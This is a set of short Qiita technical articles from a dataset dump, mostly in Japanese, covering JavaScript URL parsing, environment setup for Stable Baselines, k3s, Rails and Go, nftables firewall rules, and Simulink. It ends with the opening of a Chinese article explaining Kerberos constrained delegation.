OmniAICreator/Qiita-1.07M huggingface dataset:
（JSメモ）IE未対応のUrlSearchParamsの機能をpolyfillを使わずに補完するための関数

同じような機能の関数は既に幾つかQiitaに転がっているようですが、ハッシュ（URL末尾の`#` + 任意の文字列）などを考慮していない（最後のパラメータの値にハッシュが混入してしまう）、あるいはパラメータ部分のみ入力して使うことを想定しているものばかりだったので、「ハッシュ付きURL」「相対パスのURL」「パラメータのみ」であっても正確にパラメータをパースできる関数を書きました。

#関数
```js
var _URL = function(url){
    return(function(o,u,a,b,c,d){
        return(d=a?(function(_){
            return((a[0]=='?')?(b=_):(c=_),u.slice(0,a.index))
        })(u.slice(a.index+1)):u,
        d==''&&(d=null),
        b&&(((c=b.split(/#(.*?)$/))&&(c=c.length-1?((b=c[0]),c[1]):null)),b.split('&').filter(function(v){
            return v
        }).forEach(function(v){
            (function(_){
                o[_[1]]=_[2]
            })(v.match(/(.+?)=(.*)/))
        })),{base:d,hash:c,param:o})
    })({},url,url.match(/\?|#.*?$/))
};
```
##縮小版
```js
var _URL = function(url){return(function(o,u,a,b,c,d){return(d=a?(function(_){return((a[0]=='?')?(b=_):(c=_),u.slice(0,a.index))})(u.slice(a.index+1)):u,d==''&&(d=null),b&&(((c=b.split(/#(.*?)$/))&&(c=c.length-1?((b=c[0]),c[1]):null)),b.split('&').filter(function(v){return v}).forEach(function(v){(function(_){o[_[1]]=_[2]})(v.match(/(.+?)=(.*)/))})),{base:d,hash:c,param:o})})({},url,url.match(/\?|#.*?$/))};
```
#使い方
```js
console.log(
    _URL('https://www.youtube.com/watch?v=BoZ0Zwab6Oc&t=56s#contents')
);
```
```js
{
    base: "https://www.youtube.com/watch",
    hash: "contents",
    param: {
        v: "BoZ0Zwab6Oc",
        t: "56s"
    }
}
```
----
```js
console.log(
    _URL('/watch?v=BoZ0Zwab6Oc&t=56s')
);
```
```js
{
    base: "/watch",
    hash: null,
    param: {
        v: "BoZ0Zwab6Oc",
        t: "56s"
    }
}
```
----

```js
console.log(
    _URL('?v=BoZ0Zwab6Oc&t=56s#')
);
```
```js
{
    base: null,
    hash: "",
    param: {
        v: "BoZ0Zwab6Oc",
        t: "56s"
    }
}
```
Stable Baselines導入メモ

##Stable Baselines
```
$ conda create -n baseline python=3.6 anaconda
$ conda activate baseline
(baseline) > pip install tensorflow-gpu==1.14.0
(baseline) > pip install gym
(baseline) > pip install stable-baselines[mpi]
(baseline) > pip install pyqt5
(baseline) > pip install imageio
```
`imageio`はいらないかも。[mpi]は動かない可能性が高いので、MSMPIを以下からインストールする（win）
https://www.microsoft.com/en-us/download/details.aspx?id=56727
msmpisetup.exe と msmpisdk.msi の両方をダウンロードして実行する。前者で MPI を実行する用のファイルがインストールされ、後者で MPI を使ったプログラムを作るのに必要なヘッダやライブラリがインストールされる。
##動作確認
以下のファイルを作って動けばok

```:hello_baselines.py
import gym
from stable_baselines.common.vec_env import DummyVecEnv
from stable_baselines import PPO2
env = gym.make("CartPole-v1")
env = DummyVecEnv([lambda: env])
model = PPO2('MlpPolicy', env, verbose=1)
model.learn(total_timesteps=100000)
state = env.reset()
for i in range(200):
    env.render()
    action, _ = model.predict(state, deterministic=True)
    state, rewards, done, info = env.step(action)
    if done:
        break
env.close()
```

#参考
##Stable-baselines
|Name|中央揃え|右揃え|
|:---|:---:|--:|
|A2C|align-center|align-right|
|ACER|align-center|align-right|
|ACKTR|align-center|align-right|
|DDPG|align-center|align-right|
|DQN|align-center|align-right|
|HER|align-center|align-right|
|GAIL|align-center|align-right|
|PPO1|align-center|align-right|
|PPO2|align-center|align-right|
|SAC|align-center|align-right|
|TRPO|align-center|align-right|

##keras-rl
|Name|中央揃え|右揃え|
|:---|:---:|--:|
|DQN|align-center|align-right|
|DDPG|align-center|align-right|
|NAF|align-center|align-right|
|CEM|align-center|align-right|
|SARSA|align-center|align-right|
Manjaro Linuxでk3sをインストールして起動する

## インストール

```
yay k3s
```

## 起動

```
sudo k3s server --write-kubeconfig-mode 644
sudo k3s agent
```

## 使う

```
k3s kubectl get po
```

## k3sコマンドを使わないで素のkubectlを使いたい

```
export KUBECONFIG="/etc/rancher/k3s/k3s.yaml"
```

永続的にする場合は、これを`.zshrc`とかに書く。書いたら `source ~/.zshrc` とかするとすぐ使えるよ。

## 参考

[Rancher Docs: K3s - Lightweight Kubernetes](https://rancher.com/docs/k3s/latest/en/)
【Java】mainメソッド・メソッドの呼び出し

# mainメソッド

mainメソッドは 特別な[メソッド]で,ほかの[メソッド]と比較して以下のような特徴を持っています。

- **Javaのプログラムで一番最初に処理が行われる**
- **一つのクラスに一つしか記述することが出来ない**
- **Stringの配列、 argsという名前の 引数 を持っている。**

## mainメソッドの記述
記述の仕方は以下になります。

```java
public static void main(String[] args) {
...
...
}

```

また、mainメソッドは
明確な使い所はありますが、今は頭の片隅にでも入れておきましょう。

## メソッドの呼び出し（メソッドの実行）
### メソッドの呼び出しとは
作成したクラスの[インスタンス]を生成してから 以下のような形式で[メソッド]の呼び出しを行うこと です。

```
インスタンス名.メソッド名();
```

例えば下記に示すものは、[インスタンス]名 「 **pokemon** 」 が 「** attack **」 という名前の[メソッド]を呼び出す例です。

```java
pokemon.attack();
```

こちらも、[クラス]の[メソッド]によっては、**引数の値を与えてメソッドの呼び出しを行わなければなりません。**

```
インスタンス名.メソッド名(引数の値);
```



## クラス型

「PocketMonster」という [クラス]の変数であれば

```java
PocketMonster pokemon = new PocketMonster();
```
上記のように記述して、

1. [new演算子]により PocketMonster [クラス]を呼び出す
2.  pokemon という名前で使用可能な状態にする。

このように、**「その[クラス]を呼び出して使用できるようにすること」**を、
**「[クラス]の[インスタンス化]（実体化）」と呼びます。**

また、生成されたもの（実体）を [インスタンス] と呼びます。

[インスタンス] の生成は、 他のクラス内や mainメソッド内など、さまざまな場所で行うことができます。

生成されたインスタンスをもとにして、

- その[クラス]に宣言してあるフィールドを参照する
- 定義してある[メソッド]を呼び出す

ような事ができるようになります。

[インスタンス]:https://qiita.com/takahirocook/items/ec01cdcbb440cf0d1cc4
[インスタンス化]:https://qiita.com/takahirocook/items/ec01cdcbb440cf0d1cc4
[アクセス修飾子]:https://qiita.com/takahirocook/items/e51b0b9d37d95ad587fe
[フィールド変数]:https://qiita.com/takahirocook/items/28df75a133049a74ece1
[new演算子]:https://qiita.com/takahirocook/items/00f9f97592bf50831d39
[カプセル化]:https://qiita.com/takahirocook/items/e469a7c0539a0012868e
[クラス]:https://qiita.com/takahirocook/items/50cbbdca8e21539170e9
[メソッド]:https://qiita.com/takahirocook/items/5bfe43576d87a2a4006c
LaravelでAPIを作る時のデバッグにClockWork

APIメインの開発をLaravelで作るときの、効率いいデバッグ方法を調べました。
普通であれば、[LaravelDebugbar](https://github.com/barryvdh/laravel-debugbar)を入れてデバッグすると、呼び出されたSQLなどが見れて開発が捗ります。
が、これはviewにかかれるので、jsonのレスポンスの場合は使えません。
こう言った場合はClockworkを使うと良さそうです。

# インストール
```shell
$ composer require itsgoingd/clockwork
```

次にChrome拡張の[Clockwork](https://chrome.google.com/webstore/detail/clockwork/dmggabnehkmmfmdffgajcflpdjlnoemp?utm_source=chrome-ntp-icon)をいれます。

![Clockwork](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/128044/ba485701-b9b9-028c-7657-0b22f0963f1b.png)

# デバッグ
F12からClockworkのタブを見れば、Performanceや使っているModel、呼び出したSQLが確認できます。

![Clockwork chrome](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/128044/b0dbb14f-6ab5-aed9-4fbe-fe3b6de411e2.png)

また `clock()` というヘルパーも提供されて、`dd()` のように使えて、ClockworkのLogに吐き出されます。
すごく便利で開発が捗りますね。
AtCoder で Python の networkx を使ってみる

# AtCoderで利用可能なnetworkx
AtCoderの言語アップデートでPythonは3.8系になりましたが、なんとnetworkxが使えるんですね。
処理時間を考えると使うケースは限られると思いますが、試してみたのでご紹介します。

AtCoderのコードテストで下記を入れると、各ライブラリのバージョンを確認できます。
networkxは2.4が入っています。

``` python
import sys
print("python", sys.version)
import numpy as np
print("numpy", np.__version__)
import scipy as sp
print("scipy", sp.__version__)
import networkx as nx
print("networkx", nx.__version__)
import sklearn
print("sklearn", sklearn.__version__)
```

```
python 3.8.2 (default, Feb 26 2020, 02:56:10) 
[GCC 7.4.0]
numpy 1.18.2
scipy 1.4.1
networkx 2.4
sklearn 0.22.2.post1
```

# networkxで問題を解いてみる
例えば ACL Beginner Contest の [C問題](https://atcoder.jp/contests/abl/tasks/abl_c) をやってみます。
ネットワークをすべて連結するために辺を足す必要数の問題なので、連結成分の個数-1が答えです。
networkxなら[number_connected_components](https://networkx.org/documentation/stable/reference/algorithms/generated/networkx.algorithms.components.number_connected_components.html)で一発です。

``` python
import networkx as nx
G = nx.Graph()
n, m = map(int, input().split())
G.add_nodes_from(range(n))
for i in range(m):
    a, b = map(int, input().split())
    G.add_edge(a-1, b-1)
print(nx.number_connected_components(G) - 1)
```

ACしましたが、実行時間もメモリもやばいですね。
これは相当余裕のある問題でしか使えなさそうです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/271789/1ed96d4b-86c0-8427-76a5-24446cf433d0.png)
COBOL初めて見たレベルからCOBOLの静的解析ツールを作った話

# 作ったもの
COBOLソースファイルを読み込ませることで、その解析結果をExcel出力するツールです。
（C#で作成）
実行ファイルまたはvscodeの拡張機能として実行することができます。
[私のgithub](https://github.com/hane0707/ExecCobolAnalysis)にて公開しています。
注：参画しているPJで使用することを念頭に作ったものなので、多分に汎用的なつくりではありません。
　　その為、正しく解析できる保証はありません。（その辺が今後の課題でもあります）

下記はその紹介文です。詳しい機能についてはgithubのreadmeを読んでいただければと思います。
> "COBOLソース解析ツール"はCOBOLで記述されたソースコードを静的に解析します。
> COBOLソースファイルを手動で解析する前に実行することで、コードの目的、処理内容などの全体感を掴むことを目的としています。
> 解析結果はExcelに記載されます。

目視での解析前に一度実行し、ソースの全体感をつかむことを目的としています。
下記は作成される各シートのサンプルです。

【PGM情報】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/403060/b5fa6b24-aaa8-11d4-d6f6-3653cb4048a1.png)

【関数情報】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/403060/3530d8f8-65a8-6689-de65-c36263a6a867.png)

【構造図情報】
※ほんとはオートシェイプを配置したかったですが、closedxmlやepplusでは難しかった…
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/403060/e6a23fd5-3f14-2b85-b1fd-3f63831be5c8.png)


# ツール作成の経緯
### 初めてのCOBOL
春から販売管理システムのリプレース案件の設計に携わっているのですが、そこで初めてCOBOLを読む機会に恵まれました。

周りに詳しい人はほぼいない中で読んでみると、変数が全部グローバル変数だし、変数定義されてないと思ったら別ファイルから読み込まれてるし、1行が複数のエリアに分かれていたりなど、これまでC#かVB.NETをメインに使ってきた自分にはかなり新鮮な言語でした。

ただ作業の工程上最初の２か月程度は細かく読める必要もなかったので、ネットで基本的なことを調べつつも、なんとなくこういうことやってんだなくらいの感覚で作業が進められていたと思います。

### 目視だけで解析するのは難しい
しかしそれも基本設計が本格的になり始めたり、仕様を詰める必要が出てきたりすれば、そうもいかなくなります。
複雑な処理はフローチャートを書いたりもしていたのですが、細かく処理を読む中では関数間をいったりきたりすることに時間を取られがちでした。
※COBOLにおいて関数という呼び方が正しいのかはよくわかっていません。
　ここでいう関数とはPROCEDUREエリア内にSECTION句で区切られた単位の処理のまとまりのことを表現しています。

具体的には変数のスコープが広すぎて、どこで何の値が入っているのかわからなくなる、といったことに振り回されました。
（今でも割と振り回されています）

自然と関数同士の繋がりや関数の役割といった、概要レベルから少し細かく見る、といったことが難しくなり、その時欲しい情報はわかったけどコードを理解したとは言えない状況でした。

そんな時、「[ソース編集くん](http://srcedit.pekori.jp/tool/srcedit.html)」というツールを発見しました。
> テキスト形式のプログラムソースから文法を解析して、
> 追い易く編集したエクセルブックを作成するエクセルVBAツールです。

素晴らしいツールで、こういうのが欲しかったと思う反面、もっとこういう情報も拾えたらいいのになという想いから自作してみることにしました。

# 作成期間など
最初のプロトタイプは2週間ほど業務外でこつこつ作りました。実際に費やした時間はトータルで約6人日程度でしょうか。
その後、一部のメンバーにお披露目し、使い勝手や欲しい機能などの要望をヒアリングしました。
（お礼としてジュースをおごりました）

要望は難易度別にA～Cまでランク付けし、対応が容易、かつPJ固有ではなく汎用的で修正による恩恵が大きいと思われるものから対応しました。
特にイシューには上げていませんが、汎用的な対応はだいたい取り込めたのかなという状態です。

途中応用情報技術者試験等あり、なんだかんだプロトタイプ作成から2か月後くらいにPJメンバ全体にお披露目しています。

# 反省点
+ COBOLの言語仕様を把握しきれているわけではないので、汎用的なつくりにできなかった。
（参画PJで使えればよいという作り）
+ PJに「こういうものを作りました。よければこういう目的で使ってください。」という告知をしたが、おそらくあまり使ってもらえてはいない。<br>
みんなすでにある程度COBOLを読むことに慣れてきていたということもあるが、活用のイメージを積極的に伝えられなかったこと、直接成果物ができるものではないということが理由なのかなと感じています。

# よかったこと
メンバへの普及には至りませんでしたが、ツールを作る中でCOBOL言語への理解を深められたことはよかったです。
また、自分自身はこのツールを使うことで解析スピードが上がった実感があります。
次回からは一部のメンバに小出しにせず、初めから（例えば解析作業の）フローに組み込んだ提案をするなど、PJ全体を巻き込んだ開発をしたいです。
gazebo起動時にエラー（gzserver: symbol lookup error: /usr/lib/x86_64-linux-gnu/libgazebo_common.so.9: undefined symbol:）

gazebo起動時にエラー

```
gzserver: symbol lookup error: /usr/lib/x86_64-linux-gnu/libgazebo_common.so.9: undefined symbol: _ZN8ignition10fuel_tools12ClientConfig12SetUserAgentERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE
```

以下で解決

```
sudo apt upgrade -y libignition-math2
```

# sankou
[Symbol lookup error (both instalation methods)](https://answers.gazebosim.org//question/22071/symbol-lookup-error-both-instalation-methods/)
UbuntuでWifiアダプターが認識されないwithWindowsデュアルブート

# 結論

一度Windowsを起動してから、再起動で（F12等でブート選択画面を立ち上げ）Ubuntuを起動すれば、Wifiカードが認識される。

# なお過程

Ubuntuを起動しても無線LANがつながらず、設定を見ると「Wifiアダプターがありません」となる。。。
再起動を繰り返しても無理だけど、たまにうまくいく。。。
ということで条件を思いつくままに変えてやってみた結果でした。

# 環境
|||
|:---|:---|
|PC|LIFEBOOK WU2/B3|
|Windows|PC内のSSD|
|Ubuntu|外付けUSBHDDにインストール| 

# Wifiカードが認識されない立ち上げ方

1. 直接Ubuntuを立ち上げる
2. Ubuntuを再起動(reboot)する
3. Windowsを一度立ち上げ、「シャットダウン」してからUbuntuを立ち上げる

# Wifiカードが認識される立ち上げ方

1. Windowsを一度立ち上げ、「再起動」してUbuntuを立ち上げる
2. 一度Wifiカードを認識したUbuntuを再起動(reboot)
3. 一度Wifiカードを認識したUbuntuをシャットダウン & 再度Ubuntuを起動


# 考察
Windowsはシャットダウンと再起動で行われることが違うらしい（要出典）が、それと関係してるのかも？
[GO言語] interface {}型を使ってYAMLファイルを読み込んでみる

# YAMLとは
- <a href=https://wa3.i-3-i.info/word13801.html>YAMLとは 「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典</a>
- <a href=https://www.wakuwakubank.com/posts/488-it-yaml/>yamlの書き方(コメント, 配列, アンカー, エイリアス)</a>

# 環境
- CentOS 8.2
- go version 1.15.3 linux/amd64

# 準備
```bash
# go get gopkg.in/yaml.v2
# vi test.yml
```
```test.yml
first: test
secound:
  a1: count1
  a2:
  - count2
  - count3
  a3:
    b1: count4
```

# YAMLファイルを読み込む
```bash
# vi main.go
```
```main.go
package main

import(
  "fmt"
  "io/ioutil"
  "strconv"
  "gopkg.in/yaml.v2"
)

func main() {
  // test.ymlを読み込む
  buf, err := ioutil.ReadFile("test.yml")
  if err != nil {
    fmt.Print("error: Failed to read the file\n")
    return
  }

  // 読み込んだファイルを map[interface {}]interface {}にマッピングする
  t := make(map[interface {}]interface {})
  err = yaml.Unmarshal(buf, &t)
  if err != nil {
    panic(err)
  }

  fmt.Print(t["first"])  // test
  fmt.Print("\n")

  // t["secound"]を(map[interface {}]interface {})で型変換
  fmt.Print(t["secound"].(map[interface {}]interface {})["a1"])  //count1
  fmt.Print("\n")

  // len() 配列の要素数を返す
  fmt.Print(len(t["secound"].(map[interface {}]interface {})))
  fmt.Print("\n")

  // []interface {}型の配列
  fmt.Print(t["secound"].(map[interface {}]interface {})["a2"].([]interface {})[0])  // count2
  fmt.Print("\n")

  fmt.Print(t["secound"].(map[interface {}]interface {})["a3"].(map[interface {}]interface {})["b1"]) // count4
  fmt.Print("\n")

  // 規則的に命名されていれば、いくつあるか確認できる
  flag, i := 0, 0
  for flag == 0 {
    i++
    switch t["secound"].(map[interface {}]interface {})["a"+strconv.Itoa(i)].(type) {
      case nil:
        flag = 1
    }
  }
  fmt.Printf("a%d is not found\n", i)  // a4 is not found
}
```
```bash
# go run main.go
test
count1
3
count2
count4
a4 is not found
```

## 参考文献
- <a href=https://qiita.com/daiching/items/a384a5ce229cf714a3b5>Golangでyamlファイルを読み書きする。</a>
- <a href=https://medium.com/since-i-want-to-start-blog-that-looks-like-men-do/%E5%88%9D%E5%BF%83%E8%80%85%E3%81%AB%E9%80%81%E3%82%8A%E3%81%9F%E3%81%84interface%E3%81%AE%E4%BD%BF%E3%81%84%E6%96%B9-golang-48eba361c3b4>初心者に送りたいinterfaceの使い方[Golang]</a>
AndroidでPythonを楽しむ方法!! 外出先でもプログラミング!!

# AndroidでPythonを楽しみたい!!
こんにちは。PyLocです。
Androidで、Pythonをやりたいと思った人は少なくないはず。
ここでは、いろいろなAndroidでPythonをやる方法を紹介していきたいと思います。

# アプリ編
アプリを入れればすぐ使えます。
手軽さは最高。

## Pydroid
<a href='https://play.google.com/store/apps/details?id=ru.iiec.pydroid3&hl=ja&gl=US&pcampaignid=pcampaignidMKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1'><img alt='Google Play で手に入れよう' src='https://play.google.com/intl/ja/badges/static/images/badges/ja_badge_web_generic.png'/></a>
Pythonの実行環境とIDEが揃います。
Google Playでダウンロードできるので、すぐ使えます。ただ、広告があるのが欠点です。

## QPython
<a href='https://play.google.com/store/apps/details?id=org.qpython.qpy&hl=ja&pcampaignid=pcampaignidMKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1'><img alt='Google Play で手に入れよう' src='https://play.google.com/intl/ja/badges/static/images/badges/ja_badge_web_generic.png'/></a>
これも、実行環境・IDEがセットです。
これは、広告がないので、ストレスなくコーディングできると思います。

# Linux編
LinuxをAndroidで実現して、そこにPythonをインストールします。

## Termux
<a href='https://play.google.com/store/apps/details?id=com.termux&hl=ja&gl=US&pcampaignid=pcampaignidMKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1'><img alt='Google Play で手に入れよう' src='https://play.google.com/intl/ja/badges/static/images/badges/ja_badge_web_generic.png'/></a>
ターミナルがAndroidで使える!
Vimも使えるので、可能性は無限大ですね。
Pythonをインストールするには、以下のようなコードをターミナルに打ち込みます。

```terminal
pkg install python
```

ついでに、Termux:APIもインストールしちゃいましょう。ターミナルにコピペできるようになります。
<a href='https://play.google.com/store/apps/details?id=com.termux.api&hl=ja&gl=US&pcampaignid=pcampaignidMKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1'><img alt='Google Play で手に入れよう' src='https://play.google.com/intl/ja/badges/static/images/badges/ja_badge_web_generic.png'/></a>
Pythonファイルを作成するには、

```terminal
touch <ファイルの名前>.py
```

と打ち込んでください。
Vimで開くなら、

```terminal
pkg install vim
vim <ファイルの名前>.py
```

です。

## UserLand
<a href='https://play.google.com/store/apps/details?id=tech.ula&hl=ja&gl=US&pcampaignid=pcampaignidMKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1'><img alt='Google Play で手に入れよう' src='https://play.google.com/intl/ja/badges/static/images/badges/ja_badge_web_generic.png'/></a>
これは本格派。UbuntuやDebianが入ります。
これまでとは違い、GUIのアプリもできたりします。
ちょっとここではインストール方法を紹介するのは難しいので、他のところで見つけてきてください。

# まとめ
AndroidでPythonをする方法はたくさんありますね。
私はTermuxでやっています。
他に見つかったら、また追記していきたいと思います。
また、発見したら、コメントでお知らせください。
PyLocがここに追記しておきます。
JavaScriptでタイマー作ってみた！

**JavaScript楽しいです(^^)**

![Screen Recording 2020-11-23 at 01.25 PM.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/896901/ace99df7-546b-766c-084a-9d9db24f9a0c.gif)

####[github](https://github.com/Kazuki-0528/StopWatch)

##参考
###[ドットインストール](https://dotinstall.com/lessons)
List Control の 覚え書き

特定のviewの場合だけNewボタンを表示したい場合
Omit new condition で制御する。
他にも
Omit filter condition、Omit links condition などフィルターやリンクのOmitも制御出来る。

Server側でURLのパラメータを取得するのは RP.getParameterValue が便利
GlideURI()APIでも取得できるが

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/555463/ded658c7-afed-f1f7-604a-4eb5003c4043.png)
【第1回】Python で競馬予想してみる　~ 環境設定 とデータの取得 ~

　機械学習、ディープラーニング（違いもわかってない💦）が、競馬予想やあんなことやこんなことに使えるのではないか？と思い始めてみました

#初めに
何をすればよいのかグーグルさんに聞いてみたのだ

- 開発環境
- データの取得
- データの前処理
- モデルの学習
- モデルの評価
- モデルの運用


#開発環境
###Anaconda3 のインストール
Googleさんで [ Python 開発環境 ] と検索してみると Google Colaboratory と Anaconda3 の 2 択なのか
とりあえず試してみる
私的に相性の良さそうな Anaconda3 をインストール

- 参考：[Anaconda（Python3）インストール手順＜Windows用＞](https://sukkiri.jp/technologies/ides/anaconda-win_install.html)

とりあえず開発環境が整えば良し

他に良い開発環境があれば、後で試せばよいのだ

#データの取得
###ターゲットフロンティアの出力データを使用
[python 競馬予測 ] と検索してみると、netkeiba.com のデータをスクレイピングする方法が多い
20数年前から趣味でホームページを作成していた経験から、スクレイピングでのデータ取得にはなんとな～く抵抗あり
HTMLの仕様が変わったら･･･サイトの仕様が変わったら･･･使えないのは嫌なのだ

で、もう少し調べると、[ターゲットフロンティア](https://jra-van.jp/target/index.html)のデータを CVS で出力して使用している方を発見！
長年、JRA-VANデーターラボ会員の私にはピッタリなのだ

####ターゲットフロンティアのレース検索で CVS 出力
ターゲットフロンティアでは、開催分析でも同様の出力はできるのだが簡単に各馬の前走 ID が出力できる競争検索で出力
とりあえず競馬新聞で予想するのと同じように、データー上での最新のレースの着順を目的変数に、前走より n 走前のデータを説明変数にしたいのだ

|レースID|各データ|前走ID|
|:--|:--|:--|
|ID01|***|ID10|
|ID02|***|ID11|
|ID10|***|ID20|
|ID11|***|ID21|
|ID20|***|ID30|
|ID21|***|ID31|

出力したデータを、レースIDと前走IDでマージして好きなレース数を横に連結するのだ

|レースID|各データ|前走ID|1走前データ|前々走ID|2走前データ|3走前ID|
|:--|:--|:--|:--|:--|:--|:--|
|ID01|***|ID10|***|ID20|***|ID30|
|ID02|***|ID11|***|ID21|***|ID31|
|ID10|***|ID20|***|ID30|||
|ID11|***|ID21|***|ID31|||
|ID20|***|ID30|||||
|ID21|***|ID31|||||

####ターゲットフロンティアでのデータ出力方法
スクリーンショットを参考に
![スクリーンショット1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895631/671ea1ed-2678-d6f8-5a48-5b0c3614d51c.png)
![スクリーンショット2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895631/29de5578-4ecb-b1df-7ccf-d916884eb243.png)
![スクリーンショット3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895631/a0868874-8d87-4628-75de-faf63d04942a.png)
【Docker環境】ActiveSupport::MessageEncryptor::InvalidMessage の対処法

ポートフォリオをAWSにデプロイした後、ローカルで開発中にタイトルのエラーが出て解決に時間がかかったので、対処法を備忘録として投稿します。

## credential.yml.encの再作成
master.keyを使ってcredential.yml.encを開く仕様になっているが、開けないためエラーを吐いている状態。そのため、credential.yml.encを作り直す必要がある。

```
$ EDITOR=vim bin/rails credentials:edit
```
このコマンドは暗号化されたファイルをmaster.keyで複合して指定のエディタで編集し、その結果を再び暗号化して保存する。また、master.keyがなければ新しく作り、credentials.yml.encがなければ新しく作ってくれる。そのため、既存のcredential.yml.encを削除し、上記コマンドで解決する。

しかし、筆者のローカル環境はDockerコンテナ上にあるので、少々特殊なコマンドが必要。
まずは、サーバーにログインしvimをインストール。

```bash:EC2サーバー上
$ apt-get install -y vim
```
```bash:ローカル環境
$ docker-compose run -e EDITOR=vim web rails credentials:edit

Starting live_share_db_1 ... done
File encrypted and saved.
```
これで、エラーを吐かなくなりました^^


## 参考

https://qiita.com/at-946/items/8630ddd411d1e6a651c6
https://qiita.com/zenfumi/items/4a7cbab59f0f7ede0d6e
nf_tablesのnftコマンドメモ (CentOS8)

```:設定の削除
# nft flush ruleset
```
```:tableの作成
# nft create table mytable1
# nft list ruleset ip ##確認
```
```:chainの作成
# nft add chain ip mytable1 mychain1 { type filter hook input priority 0 \; }
# nft -a list chain ip mytable1 mychain1 ##確認
```
```:sshの許可
# nft add rule mytable1 mychain1 tcp dport 22 accept
```
```:ルールを追加するたびに確認
# nft -a list chain ip mytable1 mychain1
```
```:ssh以外の拒否
# nft add rule mytable1 mychain1 drop
```
```:戻りの通信は通す
# nft add rule mytable1 mychain1 handle 2 ct state related,established accept
```
```:icmp許可
# nft add rule mytable1 mychain1 handle 6 icmp type { echo-request, echo-reply } accept
```
```:8080許可
# nft add rule mytable1 mychain1 handle 2 tcp dport 8080 ip saddr 192.168.11.0/24 accept
```
```:10050許可
# nft add rule mytable1 mychain1 handle 10 tcp dport 10050 ip saddr 192.168.11.0/24 accept
```
```:設定書き出し
# nft list ruleset > ruleset.conf
```
```:設定読み込み
# nft -c ruleset.conf ## チェック
# nft -f ruleset.conf
```


```:削除
## table削除
# nft delete table mytable1

## chain削除
# nft delete chain mytable1 mychain1

## chain内のルールはhandleを指定して削除する
# nft delete rule myrule1 mychain1 handle 11
```


```:有効化
# systemctl enable nftables.service
# systemctl start nftables.service
# nft list ruleset > /etc/sysconfig/nftables.conf ##CentOS,RHELの場合
# サーバ再起動して設定が読み込まれているかチェック。
```

#### 参考にしたサイト
https://knowledge.sakura.ad.jp/22636/
https://mimumimu.net/blog/2019/12/07/iptables-%E3%81%8B%E3%82%89-nftables-%E3%81%AB%E3%82%B5%E3%82%AF%E3%83%83%E3%81%A8%E5%88%87%E3%82%8A%E6%9B%BF%E3%81%88%E3%82%8B/
Simulinkでオンディレイ(ON-delay)

# 概要
シーケンス回路ではWeb資料が充実しているオンディレイが、意外にもSimulinkには実装されていないようでしたので、作ってみました。
オンディレイとは、入力ONの一定時間後に出力がONする論理ブロックです。以下に詳しい説明があります。
[Panasonic解説サイト](https://ac-blog.panasonic.co.jp/%E3%82%BF%E3%82%A4%E3%83%9E%E3%81%AE%E3%82%AA%E3%83%B3%E3%83%87%E3%82%A3%E3%83%AC-%E3%81%A8%E3%82%AA%E3%83%95%E3%83%87%E3%82%A3%E3%83%AC-%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)

オフディレイは以下で解説してます。
[Simulinkでオフディレイ(OFF-delay)](https://qiita.com/bunnyhopper_isolated/items/d6bb12063dfc29cc2355)

R2020bでは以下で実装されてますが、追加で金が掛かりそうです。
https://jp.mathworks.com/help/physmod/sps/powersys/ref/onoffdelay.html

# 環境
| name | Ver |
|:-----------|------------:|
| OS       | Ubuntu 20.04LTS|
| CPU     | AMD Ryzen 9 3900XT      |
| matlab     | R2020b      |

# モデル設定
0.1秒のオンディレイを作ってみます。

ベースは離散時間積分ブロックです。普通の積分ブロックでもいいかもです。

![Screenshot from 2020-11-23 12-50-32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485117/9eaa5c25-8416-0c2f-edf2-eba7527024cc.png)

これを以下のように設定します。
Upper saturation limitがディレイ時間となります。
Down triggerのポートは、入力OFF時に積分値をリッセットするために使っています。これにより繰り返しの入力に対応しています。

![Screenshot from 2020-11-23 12-53-00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485117/2178ad9b-8c9a-b2dc-419a-5a8a991bac63.png)

![Screenshot from 2020-11-23 12-53-19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485117/62c1af3c-dd1e-76b0-2b31-7eeba6b484da.png)

すると以下のように出来ます。積分の出力はTerminatorで殺し、Saturation出力を出力としています。
![Screenshot from 2020-11-23 12-48-28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485117/cffa3050-7a90-5231-9ce8-2b497b82c24f.png)


# テスト
以下はテストハーネス機能を使用したテスト結果です。
途中に意地悪な0.09秒のON入力を入れていますが、ちゃんと無視をきめています。

![Screenshot from 2020-11-23 12-49-32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/485117/092d50a8-b2a8-00e9-55e1-d9bc2797624c.png)


# あとがき
少々Hack的ですが、タイマーの概念を表現するには積分は適しているのかなと思います。もっとシンプルに構成できる案があったらアドバイスください。

それでは良い制御を。
Kerberos协议之约束委派

上文说到非约束委派，本文来说约束委派。

# 概述
因为非约束委派的不安全性，约束委派应运而生。在2003之后微软引入了非约束委派，对Kerberos引入S4U，包含了两个子协议S4U2self、S4U2proxy。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)，S4U2proxy可以以用户的名义请求其它服务的ST，约束委派就是限制了S4U2proxy扩展的范围。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/18d619ca-7f69-8093-cc99-490ea33720fe.png)

